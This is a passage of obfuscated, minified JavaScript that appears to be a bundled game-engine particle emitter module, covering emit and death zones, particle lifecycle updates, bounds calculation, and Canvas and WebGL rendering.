_0x339f23, this['flowCounter'] = _0x339f23 > 0x0 ? _0x339f23 : 0x0, _0x53efaf && (this['quantity'] = _0x53efaf), this; }, 'addDeathZone': function (_0x410e18) { var _0x19c187; Array['isArray'](_0x410e18) || (_0x410e18 = [_0x410e18]); for (var _0x9934e8 = [], _0x12a74c = 0x0; _0x12a74c < _0x410e18['length']; _0x12a74c++)if ((_0x19c187 = _0x410e18[_0x12a74c]) instanceof _0x41acf7) _0x9934e8['push'](_0x19c187); else { if ('function' == typeof _0x19c187['contains']) _0x19c187 = new _0x41acf7(_0x19c187, !0x0), _0x9934e8['push'](_0x19c187); else { var _0x390798 = _0x222882(_0x19c187, 'type', 'onEnter'), _0x7ac715 = _0x222882(_0x19c187, 'source', null); _0x7ac715 && 'function' == typeof _0x7ac715['contains'] && (_0x19c187 = new _0x41acf7(_0x7ac715, 'onEnter' === _0x390798), _0x9934e8['push'](_0x19c187)); } } return this['deathZones'] = this['deathZones']['concat'](_0x9934e8), _0x9934e8; }, 'removeDeathZone': function (_0x289697) { return _0x397637(this['deathZones'], _0x289697), this; }, 'clearDeathZones': function () { return this['deathZones']['length'] = 0x0, this; }, 'addEmitZone': function (_0x56f0ae) { var _0x280bb7; Array['isArray'](_0x56f0ae) || (_0x56f0ae = [_0x56f0ae]); for (var _0x1baed4 = [], _0x1783c5 = 0x0; _0x1783c5 < _0x56f0ae['length']; _0x1783c5++)if ((_0x280bb7 = _0x56f0ae[_0x1783c5]) instanceof _0x1bc3fc || _0x280bb7 instanceof _0x2bf783) _0x1baed4['push'](_0x280bb7); else { var _0x3a7ece = _0x222882(_0x280bb7, 'source', null); if (_0x3a7ece) { var _0x3eb152 = _0x222882(_0x280bb7, 'type', 'random'); if ('random' === _0x3eb152 && 'function' == typeof _0x3a7ece['getRandomPoint']) _0x280bb7 = new _0x1bc3fc(_0x3a7ece), _0x1baed4['push'](_0x280bb7); else { if ('edge' === _0x3eb152 && 'function' == typeof _0x3a7ece['getPoints']) { var _0x5c450d = _0x222882(_0x280bb7, 'quantity', 0x1), _0x2517c7 = _0x222882(_0x280bb7, 'stepRate', 0x0), _0x568a34 = _0x222882(_0x280bb7, 'yoyo', !0x1), _0x5a5eea = _0x222882(_0x280bb7, 'seamless', !0x0), _0x58bfe6 = _0x222882(_0x280bb7, 'total', -0x1); _0x280bb7 = new _0x2bf783(_0x3a7ece, _0x5c450d, _0x2517c7, _0x568a34, _0x5a5eea, _0x58bfe6), _0x1baed4['push'](_0x280bb7); } } } } return this['emitZones'] = this['emitZones']['concat'](_0x1baed4), _0x1baed4; }, 'removeEmitZone': function (_0x187a48) { return _0x397637(this['emitZones'], _0x187a48), this['zoneIndex'] = 0x0, this; }, 'clearEmitZones': function () { return this['emitZones']['length'] = 0x0, this['zoneIndex'] = 0x0, this; }, 'getEmitZone': function (_0x389d18) { var _0x1f7e37 = this['emitZones'], _0x326f3c = _0x1f7e37['length']; if (0x0 !== _0x326f3c) { var _0x2fcb9c = _0x1f7e37[this['zoneIndex']]; _0x2fcb9c['getPoint'](_0x389d18), _0x2fcb9c['total'] > -0x1 && (this['zoneTotal']++, this['zoneTotal'] === _0x2fcb9c['total'] && (this['zoneTotal'] = 0x0, this['zoneIndex']++, this['zoneIndex'] === _0x326f3c && (this['zoneIndex'] = 0x0))); } }, 'getDeathZone': function (_0x2794a8) { for (var _0x9a7be2 = this['deathZones'], _0x1c133e = 0x0; _0x1c133e < _0x9a7be2['length']; _0x1c133e++) { var _0x3f9747 = _0x9a7be2[_0x1c133e]; if (_0x3f9747['willKill'](_0x2794a8)) return this['emit'](_0x192945['DEATH_ZONE'], this, _0x2794a8, _0x3f9747), !0x0; } return !0x1; }, 'setEmitZone': function (_0x50bf12) { var _0x50b850; return (_0x50b850 = isFinite(_0x50bf12) ? _0x50bf12 : this['emitZones']['indexOf'](_0x50bf12)) >= 0x0 && (this['zoneIndex'] = _0x50b850), this; }, 'addParticleProcessor': function (_0x46cdb0) { return this['processors']['exists'](_0x46cdb0) || (_0x46cdb0['emitter'] && _0x46cdb0['emitter']['removeParticleProcessor'](_0x46cdb0), this['processors']['add'](_0x46cdb0), _0x46cdb0['emitter'] = this), _0x46cdb0; }, 'removeParticleProcessor': function (_0x1ad14a) { return this['processors']['exists'](_0x1ad14a) && (this['processors']['remove'](_0x1ad14a, !0x0), _0x1ad14a['emitter'] = null), _0x1ad14a; }, 'getProcessors': function () { return this['processors']['getAll']('active', !0x0); }, 'createGravityWell': function (_0x546077) { return this['addParticleProcessor'](new _0x2d4312(_0x546077)); }, 'reserve': function (_0x1043ba) { var _0x5ed32c = this['dead']; if (this['maxParticles'] > 0x0) { var _0xcf6d55 = this['getParticleCount'](); _0xcf6d55 + _0x1043ba > this['maxParticles'] && (_0x1043ba = this['maxParticles'] - (_0xcf6d55 + _0x1043ba)); } for (var _0x48b0bc = 0x0; _0x48b0bc < _0x1043ba; _0x48b0bc++)_0x5ed32c['push'](new this['particleClass'](this)); return this; }, 'getAliveParticleCount': function () { return this['alive']['length']; }, 'getDeadParticleCount': function () { return this['dead']['length']; }, 'getParticleCount': function () { return this['getAliveParticleCount']() + this['getDeadParticleCount'](); }, 'atLimit': function () { return this['maxParticles'] > 0x0 && this['getParticleCount']() >= this['maxParticles'] || this['maxAliveParticles'] > 0x0 && this['getAliveParticleCount']() >= this['maxAliveParticles']; }, 'onParticleEmit': function (_0x22d03f, _0x250628) { return void 0x0 === _0x22d03f ? (this['emitCallback'] = null, this['emitCallbackScope'] = null) : 'function' == typeof _0x22d03f && (this['emitCallback'] = _0x22d03f, _0x250628 && (this['emitCallbackScope'] = _0x250628)), this; }, 'onParticleDeath': function (_0x210a72, _0x4335ca) { return void 0x0 === _0x210a72 ? (this['deathCallback'] = null, this['deathCallbackScope'] = null) : 'function' == typeof _0x210a72 && (this['deathCallback'] = _0x210a72, _0x4335ca && (this['deathCallbackScope'] = _0x4335ca)), this; }, 'killAll': function () { for (var _0x2e6b75 = this['dead'], _0x4491cf = this['alive']; _0x4491cf['length'] > 0x0;)_0x2e6b75['push'](_0x4491cf['pop']()); return this; }, 'forEachAlive': function (_0x3f93a5, _0x5d8a63) { for (var _0x4cdd8c = this['alive'], _0x45a431 = _0x4cdd8c['length'], _0x4b27e3 = 0x0; _0x4b27e3 < _0x45a431; _0x4b27e3++)_0x3f93a5['call'](_0x5d8a63, _0x4cdd8c[_0x4b27e3], this); return this; }, 'forEachDead': function (_0x4d4e66, _0x1e3a3c) { for (var _0x514661 = this['dead'], _0x3276d5 = _0x514661['length'], _0xa7a2cb = 0x0; _0xa7a2cb < _0x3276d5; _0xa7a2cb++)_0x4d4e66['call'](_0x1e3a3c, _0x514661[_0xa7a2cb], this); return this; }, 'start': function (_0x4c6cfb, _0x33c2e3) { return void 0x0 === _0x4c6cfb && (_0x4c6cfb = 0x0), this['emitting'] || (_0x4c6cfb > 0x0 && this['fastForward'](_0x4c6cfb), this['emitting'] = !0x0, this['resetCounters'](this['frequency'], !0x0), void 0x0 !== _0x33c2e3 && (this['duration'] = Math['abs'](_0x33c2e3)), this['emit'](_0x192945['START'], this)), this; }, 'stop': function (_0x7e6de0) { return void 0x0 === _0x7e6de0 && (_0x7e6de0 = !0x1), this['emitting'] && (this['emitting'] = !0x1, _0x7e6de0 && this['killAll'](), this['emit'](_0x192945['STOP'], this)), this; }, 'pause': function () { return this['active'] = !0x1, this; }, 'resume': function () { return this['active'] = !0x0, this; }, 'setSortProperty': function (_0x50e95a, _0x1e5ae1) { return void 0x0 === _0x50e95a && (_0x50e95a = ''), void 0x0 === _0x1e5ae1 && (_0x1e5ae1 = this['true']), this['sortProperty'] = _0x50e95a, this['sortOrderAsc'] = _0x1e5ae1, this['sortCallback'] = this['depthSortCallback'], this; }, 'setSortCallback': function (_0x2b599b) { return _0x2b599b = '' !== this['sortProperty'] ? this['depthSortCallback'] : null, this['sortCallback'] = _0x2b599b, this; }, 'depthSort': function () { return _0x11b4bb(this['alive'], this['sortCallback']['bind'](this)), this; }, 'depthSortCallback': function (_0x3e9f9d, _0x48c430) { var _0xbacb0 = this['sortProperty']; return this['sortOrderAsc'] ? _0x3e9f9d[_0xbacb0] - _0x48c430[_0xbacb0] : _0x48c430[_0xbacb0] - _0x3e9f9d[_0xbacb0]; }, 'flow': function (_0x14b163, _0x5c1b13, _0x3793bb) { return void 0x0 === _0x5c1b13 && (_0x5c1b13 = 0x1), this['emitting'] = !0x1, this['frequency'] = _0x14b163, this['quantity'] = _0x5c1b13, void 0x0 !== _0x3793bb && (this['stopAfter'] = _0x3793bb), this['start'](); }, 'explode': function (_0x5b45c1, _0x3bfcad, _0xeaf3eb) { this['frequency'] = -0x1, this['resetCounters'](-0x1, !0x0); var _0x30629a = this['emitParticle'](_0x5b45c1, _0x3bfcad, _0xeaf3eb); return this['emit'](_0x192945['EXPLODE'], this, _0x30629a), _0x30629a; }, 'emitParticleAt': function (_0x147e17, _0x59e512, _0x4b4532) { return this['emitParticle'](_0x4b4532, _0x147e17, _0x59e512); }, 'emitParticle': function (_0x4dd7d3, _0x4e9978, _0x11b0e9) { if (!this['atLimit']()) { void 0x0 === _0x4dd7d3 && (_0x4dd7d3 = this['ops']['quantity']['onEmit']()); for (var _0x258f50 = this['dead'], _0x19df46 = this['stopAfter'], _0x4cfffb = this['follow'] ? this['follow']['x'] + this['followOffset']['x'] : _0x4e9978, _0x4f5c31 = this['follow'] ? this['follow']['y'] + this['followOffset']['y'] : _0x11b0e9, _0x5a431d = 0x0; _0x5a431d < _0x4dd7d3; _0x5a431d++) { var _0x5258cc = _0x258f50['pop'](); if (_0x5258cc || (_0x5258cc = new this['particleClass'](this)), _0x5258cc['fire'](_0x4cfffb, _0x4f5c31) ? (this['particleBringToTop'] ? this['alive']['push'](_0x5258cc) : this['alive']['unshift'](_0x5258cc), this['emitCallback'] && this['emitCallback']['call'](this['emitCallbackScope'], _0x5258cc, this)) : this['dead']['push'](_0x5258cc), _0x19df46 > 0x0 && (this['stopCounter']++, this['stopCounter'] >= _0x19df46)) break; if (this['atLimit']()) break; } return _0x5258cc; } }, 'fastForward': function (_0x41b577, _0xc0c08c) { void 0x0 === _0xc0c08c && (_0xc0c08c = 0x3e8 / 0x3c); var _0x126f9b = 0x0; for (this['skipping'] = !0x0; _0x126f9b < Math['abs'](_0x41b577);)this['preUpdate'](0x0, _0xc0c08c), _0x126f9b += _0xc0c08c; return this['skipping'] = !0x1, this; }, 'preUpdate': function (_0x85691, _0x1b4601) { var _0x2bd454 = (_0x1b4601 *= this['timeScale']) / 0x3e8; this['trackVisible'] && (this['visible'] = this['follow']['visible']), this['getWorldTransformMatrix'](this['worldMatrix']); var _0x5337fb = this['getProcessors'](), _0x2d240d = this['alive'], _0x3c6719 = this['dead'], _0x54fba1 = 0x0, _0x1c0e98 = [], _0x296dca = _0x2d240d['length']; for (_0x54fba1 = 0x0; _0x54fba1 < _0x296dca; _0x54fba1++) { var _0x38da76 = _0x2d240d[_0x54fba1]; _0x38da76['update'](_0x1b4601, _0x2bd454, _0x5337fb) && _0x1c0e98['push']({ 'index': _0x54fba1, 'particle': _0x38da76 }); } if ((_0x296dca = _0x1c0e98['length']) > 0x0) { var _0x11cc95 = this['deathCallback'], _0x39c156 = this['deathCallbackScope']; for (_0x54fba1 = _0x296dca - 0x1; _0x54fba1 >= 0x0; _0x54fba1--) { var _0x4dbbca = _0x1c0e98[_0x54fba1]; _0x2d240d['splice'](_0x4dbbca['index'], 0x1), _0x3c6719['push'](_0x4dbbca['particle']), _0x11cc95 && _0x11cc95['call'](_0x39c156, _0x4dbbca['particle']), _0x4dbbca['particle']['setPosition'](); } } if (this['emitting'] || this['skipping']) { if (0x0 === this['frequency']) this['emitParticle'](); else { if (this['frequency'] > 0x0) { for (this['flowCounter'] -= _0x1b4601; this['flowCounter'] <= 0x0;)this['emitParticle'](), this['flowCounter'] += this['frequency']; } } this['skipping'] || (this['duration'] > 0x0 && (this['elapsed'] += _0x1b4601, this['elapsed'] >= this['duration'] && this['stop']()), this['stopAfter'] > 0x0 && this['stopCounter'] >= this['stopAfter'] && this['stop']()); } else 0x1 === this['completeFlag'] && 0x0 === _0x2d240d['length'] && (this['completeFlag'] = 0x0, this['emit'](_0x192945['COMPLETE'], this)); }, 'overlap': function (_0x39e8db) { for (var _0x3a097d = this['getWorldTransformMatrix'](), _0x5c2316 = this['alive'], _0x146288 = _0x5c2316['length'], _0x7bf560 = [], _0x50a008 = 0x0; _0x50a008 < _0x146288; _0x50a008++) { var _0x5771fb = _0x5c2316[_0x50a008]; _0x125c51(_0x39e8db, _0x5771fb['getBounds'](_0x3a097d)) && _0x7bf560['push'](_0x5771fb); } return _0x7bf560; }, 'getBounds': function (_0xf7bc59, _0x1c81cd, _0x12aa13, _0x4ff291) { void 0x0 === _0xf7bc59 && (_0xf7bc59 = 0x0), void 0x0 === _0x1c81cd && (_0x1c81cd = 0x0), void 0x0 === _0x12aa13 && (_0x12aa13 = 0x3e8 / 0x3c), void 0x0 === _0x4ff291 && (_0x4ff291 = new _0x5be60d()); var _0xfe90da, _0x56b975, _0x540a1f = this['getWorldTransformMatrix'](), _0x196fce = this['alive'], _0x570ea8 = !0x1; if (_0x4ff291['setTo'](0x0, 0x0, 0x0, 0x0), _0x1c81cd > 0x0) { var _0x194783 = 0x0; for (this['skipping'] = !0x0; _0x194783 < Math['abs'](_0x1c81cd);) { for (this['preUpdate'](0x0, _0x12aa13), _0xfe90da = 0x0; _0xfe90da < _0x196fce['length']; _0xfe90da++)_0x56b975 = _0x196fce[_0xfe90da]['getBounds'](_0x540a1f), _0x570ea8 ? _0x302633(_0x4ff291, _0x56b975) : (_0x570ea8 = !0x0, _0x545408(_0x56b975, _0x4ff291)); _0x194783 += _0x12aa13; } this['skipping'] = !0x1; } else { for (_0xfe90da = 0x0; _0xfe90da < _0x196fce['length']; _0xfe90da++)_0x56b975 = _0x196fce[_0xfe90da]['getBounds'](_0x540a1f), _0x570ea8 ? _0x302633(_0x4ff291, _0x56b975) : (_0x570ea8 = !0x0, _0x545408(_0x56b975, _0x4ff291)); } return _0xf7bc59 > 0x0 && _0x526d0d(_0x4ff291, _0xf7bc59, _0xf7bc59), _0x4ff291; }, 'createEmitter': function () { throw new Error('createEmitter\x20removed.\x20See\x20ParticleEmitter\x20docs\x20for\x20info'); }, 'particleX': { 'get': function () { return this['ops']['x']['current']; }, 'set': function (_0x59d8c5) { this['ops']['x']['onChange'](_0x59d8c5); } }, 'particleY': { 'get': function () { return this['ops']['y']['current']; }, 'set': function (_0x26841a) { this['ops']['y']['onChange'](_0x26841a); } }, 'accelerationX': { 'get': function () { return this['ops']['accelerationX']['current']; }, 'set': function (_0x1185d2) { this['ops']['accelerationX']['onChange'](_0x1185d2); } }, 'accelerationY': { 'get': function () { return this['ops']['accelerationY']['current']; }, 'set': function (_0x10fae8) { this['ops']['accelerationY']['onChange'](_0x10fae8); } }, 'maxVelocityX': { 'get': function () { return this['ops']['maxVelocityX']['current']; }, 'set': function (_0x398621) { this['ops']['maxVelocityX']['onChange'](_0x398621); } }, 'maxVelocityY': { 'get': function () { return this['ops']['maxVelocityY']['current']; }, 'set': function (_0xc44924) { this['ops']['maxVelocityY']['onChange'](_0xc44924); } }, 'speed': { 'get': function () { return this['ops']['speedX']['current']; }, 'set': function (_0x140b0f) { this['ops']['speedX']['onChange'](_0x140b0f), this['ops']['speedY']['onChange'](_0x140b0f); } }, 'speedX': { 'get': function () { return this['ops']['speedX']['current']; }, 'set': function (_0x49140f) { this['ops']['speedX']['onChange'](_0x49140f); } }, 'speedY': { 'get': function () { return this['ops']['speedY']['current']; }, 'set': function (_0x47c719) { this['ops']['speedY']['onChange'](_0x47c719); } }, 'moveToX': { 'get': function () { return this['ops']['moveToX']['current']; }, 'set': function (_0x221fd4) { this['ops']['moveToX']['onChange'](_0x221fd4); } }, 'moveToY': { 'get': function () { return this['ops']['moveToY']['current']; }, 'set': function (_0x2978d0) { this['ops']['moveToY']['onChange'](_0x2978d0); } }, 'bounce': { 'get': function () { return this['ops']['bounce']['current']; }, 'set': function (_0x512ce8) { this['ops']['bounce']['onChange'](_0x512ce8); } }, 'particleScaleX': { 'get': function () { return this['ops']['scaleX']['current']; }, 'set': function (_0x433c0a) { this['ops']['scaleX']['onChange'](_0x433c0a); } }, 'particleScaleY': { 'get': function () { return this['ops']['scaleY']['current']; }, 'set': function (_0x4028a9) { this['ops']['scaleY']['onChange'](_0x4028a9); } }, 'particleColor': { 'get': function () { return this['ops']['color']['current']; }, 'set': function (_0x375c5f) { this['ops']['color']['onChange'](_0x375c5f); } }, 'colorEase': { 'get': function () { return this['ops']['color']['easeName']; }, 'set': function (_0x5b4fb8) { this['ops']['color']['setEase'](_0x5b4fb8); } }, 'particleTint': { 'get': function () { return this['ops']['tint']['current']; }, 'set': function (_0x5f3efb) { this['ops']['tint']['onChange'](_0x5f3efb); } }, 'particleAlpha': { 'get': function () { return this['ops']['alpha']['current']; }, 'set': function (_0x4f8aef) { this['ops']['alpha']['onChange'](_0x4f8aef); } }, 'lifespan': { 'get': function () { return this['ops']['lifespan']['current']; }, 'set': function (_0x391071) { this['ops']['lifespan']['onChange'](_0x391071); } }, 'particleAngle': { 'get': function () { return this['ops']['angle']['current']; }, 'set': function (_0x212415) { this['ops']['angle']['onChange'](_0x212415); } }, 'particleRotate': { 'get': function () { return this['ops']['rotate']['current']; }, 'set': function (_0x4ff534) { this['ops']['rotate']['onChange'](_0x4ff534); } }, 'quantity': { 'get': function () { return this['ops']['quantity']['current']; }, 'set': function (_0x468ad2) { this['ops']['quantity']['onChange'](_0x468ad2); } }, 'delay': { 'get': function () { return this['ops']['delay']['current']; }, 'set': function (_0x2556bd) { this['ops']['delay']['onChange'](_0x2556bd); } }, 'hold': { 'get': function () { return this['ops']['hold']['current']; }, 'set': function (_0x48ae0b) { this['ops']['hold']['onChange'](_0x48ae0b); } }, 'flowCounter': { 'get': function () { return this['counters'][0x0]; }, 'set': function (_0x3f7364) { this['counters'][0x0] = _0x3f7364; } }, 'frameCounter': { 'get': function () { return this['counters'][0x1]; }, 'set': function (_0xb915d5) { this['counters'][0x1] = _0xb915d5; } }, 'animCounter': { 'get': function () { return this['counters'][0x2]; }, 'set': function (_0x38062f) { this['counters'][0x2] = _0x38062f; } }, 'elapsed': { 'get': function () { return this['counters'][0x3]; }, 'set': function (_0xe5694c) { this['counters'][0x3] = _0xe5694c; } }, 'stopCounter': { 'get': function () { return this['counters'][0x4]; }, 'set': function (_0x2a7220) { this['counters'][0x4] = _0x2a7220; } }, 'completeFlag': { 'get': function () { return this['counters'][0x5]; }, 'set': function (_0x1853b3) { this['counters'][0x5] = _0x1853b3; } }, 'zoneIndex': { 'get': function () { return this['counters'][0x6]; }, 'set': function (_0xf87f9e) { this['counters'][0x6] = _0xf87f9e; } }, 'zoneTotal': { 'get': function () { return this['counters'][0x7]; }, 'set': function (_0x230004) { this['counters'][0x7] = _0x230004; } }, 'currentFrame': { 'get': function () { return this['counters'][0x8]; }, 'set': function (_0x19bdea) { this['counters'][0x8] = _0x19bdea; } }, 'currentAnim': { 'get': function () { return this['counters'][0x9]; }, 'set': function (_0x181388) { this['counters'][0x9] = _0x181388; } }, 'preDestroy': function () { var _0x504d8a; this['texture'] = null, this['frames'] = null, this['anims'] = null, this['emitCallback'] = null, this['emitCallbackScope'] = null, this['deathCallback'] = null, this['deathCallbackScope'] = null, this['emitZones'] = null, this['deathZones'] = null, this['bounds'] = null, this['follow'] = null, this['counters'] = null; var _0x2b5078 = this['ops']; for (_0x504d8a = 0x0; _0x504d8a < _0x4164ef['length']; _0x504d8a++)_0x2b5078[_0x4164ef[_0x504d8a]]['destroy'](); for (_0x504d8a = 0x0; _0x504d8a < this['alive']['length']; _0x504d8a++)this['alive'][_0x504d8a]['destroy'](); for (_0x504d8a = 0x0; _0x504d8a < this['dead']['length']; _0x504d8a++)this['dead'][_0x504d8a]['destroy'](); this['ops'] = null, this['alive'] = [], this['dead'] = [], this['worldMatrix']['destroy'](); } }); _0x5dc4c9['exports'] = _0x508156; }, 0x268f: (_0x515645, _0x2b92fb, _0x3f7a4e) => { var _0x349b29 = _0x3f7a4e(0xea5c), _0x130ba0 = _0x3f7a4e(0xef9c), _0x3fd2cd = new _0x130ba0(), _0x26b86c = new _0x130ba0(), _0x2ca9b3 = new _0x130ba0(), _0x36e70c = new _0x130ba0(); _0x515645['exports'] = function (_0x471cc3, _0x546f8b, _0x1c6f39, _0x21459c) { var _0x4fbce9 = _0x3fd2cd, _0x2083c2 = _0x26b86c, _0x13f7d2 = _0x2ca9b3, _0x23d12b = _0x36e70c; _0x21459c ? (_0x23d12b['loadIdentity'](), _0x23d12b['multiply'](_0x21459c), _0x23d12b['translate'](_0x546f8b['x'], _0x546f8b['y']), _0x23d12b['rotate'](_0x546f8b['rotation']), _0x23d12b['scale'](_0x546f8b['scaleX'], _0x546f8b['scaleY'])) : _0x23d12b['applyITRS'](_0x546f8b['x'], _0x546f8b['y'], _0x546f8b['rotation'], _0x546f8b['scaleX'], _0x546f8b['scaleY']); var _0x304de5 = _0x471cc3['currentContext'], _0x27fb7c = _0x1c6f39['roundPixels'], _0x1adddd = _0x1c6f39['alpha'], _0x2b68ee = _0x546f8b['alpha'], _0x4de334 = _0x546f8b['alive'], _0x5cb024 = _0x4de334['length'], _0x3009da = _0x546f8b['viewBounds']; if (_0x546f8b['visible'] && 0x0 !== _0x5cb024 && (!_0x3009da || _0x349b29(_0x3009da, _0x1c6f39['worldView']))) { _0x546f8b['sortCallback'] && _0x546f8b['depthSort'](), _0x1c6f39['addToRenderList'](_0x546f8b); var _0x2629e0 = _0x546f8b['scrollFactorX'], _0x235584 = _0x546f8b['scrollFactorY']; _0x304de5['save'](), _0x304de5['globalCompositeOperation'] = _0x471cc3['blendModes'][_0x546f8b['blendMode']]; for (var _0x2ab4f1 = 0x0; _0x2ab4f1 < _0x5cb024; _0x2ab4f1++) { var _0x197a77 = _0x4de334[_0x2ab4f1], _0x2e9b27 = _0x197a77['alpha'] * _0x2b68ee * _0x1adddd; if (!(_0x2e9b27 <= 0x0 || 0x0 === _0x197a77['scaleX'] || 0x0 === _0x197a77['scaleY'])) { _0x13f7d2['applyITRS'](_0x197a77['x'], _0x197a77['y'], _0x197a77['rotation'], _0x197a77['scaleX'], _0x197a77['scaleY']), _0x4fbce9['copyFrom'](_0x1c6f39['matrix']), _0x4fbce9['multiplyWithOffset'](_0x23d12b, -_0x1c6f39['scrollX'] * _0x2629e0, -_0x1c6f39['scrollY'] * _0x235584), _0x13f7d2['e'] = _0x197a77['x'], _0x13f7d2['f'] = _0x197a77['y'], _0x4fbce9['multiply'](_0x13f7d2, _0x2083c2); var _0x1333c2 = _0x197a77['frame'], _0x5e8f0d = _0x1333c2['canvasData']; if (_0x5e8f0d['width'] > 0x0 && _0x5e8f0d['height'] > 0x0) { var _0x4955a8 = -_0x1333c2['halfWidth'], _0x3abd3b = -_0x1333c2['halfHeight']; _0x304de5['globalAlpha'] = _0x2e9b27, _0x304de5['save'](), _0x2083c2['setToContext'](_0x304de5), _0x27fb7c && (_0x4955a8 = Math['round'](_0x4955a8), _0x3abd3b = Math['round'](_0x3abd3b)), _0x304de5['imageSmoothingEnabled'] = !_0x1333c2['source']['scaleMode'], _0x304de5['drawImage'](_0x1333c2['source']['image'], _0x5e8f0d['x'], _0x5e8f0d['y'], _0x5e8f0d['width'], _0x5e8f0d['height'], _0x4955a8, _0x3abd3b, _0x5e8f0d['width'], _0x5e8f0d['height']), _0x304de5['restore'](); } } } _0x304de5['restore'](); } }; }, 0x16a3a: (_0x4c79d5, _0x4e962b, _0x445ad5) => { var _0x5bfb33 = _0x445ad5(0x62d9), _0x33db76 = _0x445ad5(0xae3b), _0x5d0979 = _0x445ad5(0x5c10), _0x4d3217 = _0x445ad5(0x17534), _0x2b62b2 = _0x445ad5(0x7b70); _0x33db76['register']('particles', function (_0x385a3f, _0x24c4a5) { void 0x0 === _0x385a3f && (_0x385a3f = {}); var _0x2d2ef0 = _0x5d0979(_0x385a3f, 'key', null), _0x58b2e0 = _0x4d3217(_0x385a3f, 'config', null), _0x5de5a8 = new _0x2b62b2(this['scene'], 0x0, 0x0, _0x2d2ef0); return void 0x0 !== _0x24c4a5 && (_0x385a3f['add'] = _0x24c4a5), _0x5bfb33(this['scene'], _0x5de5a8, _0x385a3f), _0x58b2e0 && _0x5de5a8['setConfig'](_0x58b2e0), _0x5de5a8; }); }, 0x2a4: (_0x573552, _0x57add2, _0x181a76) => { var _0x5b8c7d = _0x181a76(0x9a05), _0x1a0829 = _0x181a76(0x7b70); _0x5b8c7d['register']('particles', function (_0x3aef98, _0x14e8b2, _0x451a36, _0x279e98) { return this['displayList']['add'](new _0x1a0829(this['scene'], _0x3aef98, _0x14e8b2, _0x451a36, _0x279e98)); }); }, 0x1622c: (_0x3e72e4, _0x4bb677, _0x140c80) => { var _0x16e540 = _0x140c80(0x7433), _0xac4cd8 = _0x16e540, _0x5c354c = _0x16e540; _0xac4cd8 = _0x140c80(0x52c4), _0x5c354c = _0x140c80(0x268f), _0x3e72e4['exports'] = { 'renderWebGL': _0xac4cd8, 'renderCanvas': _0x5c354c }; }, 0x52c4: (_0x17871a, _0x5e8d13, _0xd699ee) => { var _0xd382c = _0xd699ee(0xea5c), _0x32aea5 = _0xd699ee(0xef9c), _0x4dbfc1 = _0xd699ee(0x1139a), _0x37de61 = new _0x32aea5(), _0x5d76bb = new _0x32aea5(), _0x6a6df1 = new _0x32aea5(), _0x119b20 = new _0x32aea5(); _0x17871a['exports'] = function (_0x5f4116, _0x1ba8cb, _0x21ed07, _0x1298de) { var _0x378df9 = _0x5f4116['pipelines']['set'](_0x1ba8cb['pipeline']), _0x3b5b2d = _0x37de61, _0x189d46 = _0x5d76bb, _0xf31595 = _0x6a6df1, _0x243210 = _0x119b20; _0x1298de ? (_0x243210['loadIdentity'](), _0x243210['multiply'](_0x1298de), _0x243210['translate'](_0x1ba8cb['x'], _0x1ba8cb['y']), _0x243210['rotate'](_0x1ba8cb['rotation']), _0x243210['scale'](_0x1ba8cb['scaleX'], _0x1ba8cb['scaleY'])) : _0x243210['applyITRS'](_0x1ba8cb['x'], _0x1ba8cb['y'], _0x1ba8cb['rotation'], _0x1ba8cb['scaleX'], _0x1ba8cb['scaleY']); var _0x1f774c = _0x4dbfc1['getTintAppendFloatAlpha'], _0x4d5ba3 = _0x21ed07['alpha'], _0x255976 = _0x1ba8cb['alpha']; _0x5f4116['pipelines']['preBatch'](_0x1ba8cb); var _0x2a74c6 = _0x1ba8cb['alive'], _0x38faf8 = _0x2a74c6['length'], _0x51b943 = _0x1ba8cb['viewBounds']; if (0x0 !== _0x38faf8 && (!_0x51b943 || _0xd382c(_0x51b943, _0x21ed07['worldView']))) { _0x1ba8cb['sortCallback'] && _0x1ba8cb['depthSort'](), _0x21ed07['addToRenderList'](_0x1ba8cb), _0x3b5b2d['copyFrom'](_0x21ed07['matrix']), _0x3b5b2d['multiplyWithOffset'](_0x243210, -_0x21ed07['scrollX'] * _0x1ba8cb['scrollFactorX'], -_0x21ed07['scrollY'] * _0x1ba8cb['scrollFactorY']), _0x5f4116['setBlendMode'](_0x1ba8cb['blendMode']), _0x1ba8cb['mask'] && (_0x1ba8cb['mask']['preRenderWebGL'](_0x5f4116, _0x1ba8cb, _0x21ed07), _0x5f4116['pipelines']['set'](_0x1ba8cb['pipeline'])); for (var _0x42f1b3, _0x1b818a, _0x240124 = _0x1ba8cb['tintFill'], _0x617110 = 0x0; _0x617110 < _0x38faf8; _0x617110++) { var _0x554a36 = _0x2a74c6[_0x617110], _0x1ca1ed = _0x554a36['alpha'] * _0x255976 * _0x4d5ba3; if (!(_0x1ca1ed <= 0x0 || 0x0 === _0x554a36['scaleX'] || 0x0 === _0x554a36['scaleY'])) { _0xf31595['applyITRS'](_0x554a36['x'], _0x554a36['y'], _0x554a36['rotation'], _0x554a36['scaleX'], _0x554a36['scaleY']), _0xf31595['e'] = _0x554a36['x'], _0xf31595['f'] = _0x554a36['y'], _0x3b5b2d['multiply'](_0xf31595, _0x189d46); var _0x5aba9c = _0x554a36['frame']; _0x5aba9c['glTexture'] !== _0x1b818a && (_0x1b818a = _0x5aba9c['glTexture'], _0x42f1b3 = _0x378df9['setGameObject'](_0x1ba8cb, _0x5aba9c)); var _0x54bc9d = -_0x5aba9c['halfWidth'], _0x2b21b6 = -_0x5aba9c['halfHeight'], _0x54ad6f = _0x189d46['setQuad'](_0x54bc9d, _0x2b21b6, _0x54bc9d + _0x5aba9c['width'], _0x2b21b6 + _0x5aba9c['height']), _0x2998b6 = _0x1f774c(_0x554a36['tint'], _0x1ca1ed); _0x378df9['shouldFlush'](0x6) && (_0x378df9['flush'](), _0x42f1b3 = _0x378df9['setGameObject'](_0x1ba8cb, _0x5aba9c)), _0x378df9['batchQuad'](_0x1ba8cb, _0x54ad6f[0x0], _0x54ad6f[0x1], _0x54ad6f[0x2], _0x54ad6f[0x3], _0x54ad6f[0x4], _0x54ad6f[0x5], _0x54ad6f[0x6], _0x54ad6f[0x7], _0x5aba9c['u0'], _0x5aba9c['v0'], _0x5aba9c['u1'], _0x5aba9c['v1'], _0x2998b6, _0x2998b6, _0x2998b6, _0x2998b6, _0x240124, _0x1b818a, _0x42f1b3); } } _0x1ba8cb['mask'] && _0x1ba8cb['mask']['postRenderWebGL'](_0x5f4116, _0x21ed07), _0x5f4116['pipelines']['postBatch'](_0x1ba8cb); } }; }, 0x4f3e: (_0x3de407, _0x2838e0, _0x26cd36) => { var _0x53e47d = new (_0x26cd36(0x145db))({ 'initialize': function (_0x2edbd7, _0x47dfb5, _0x4d9a18) { void 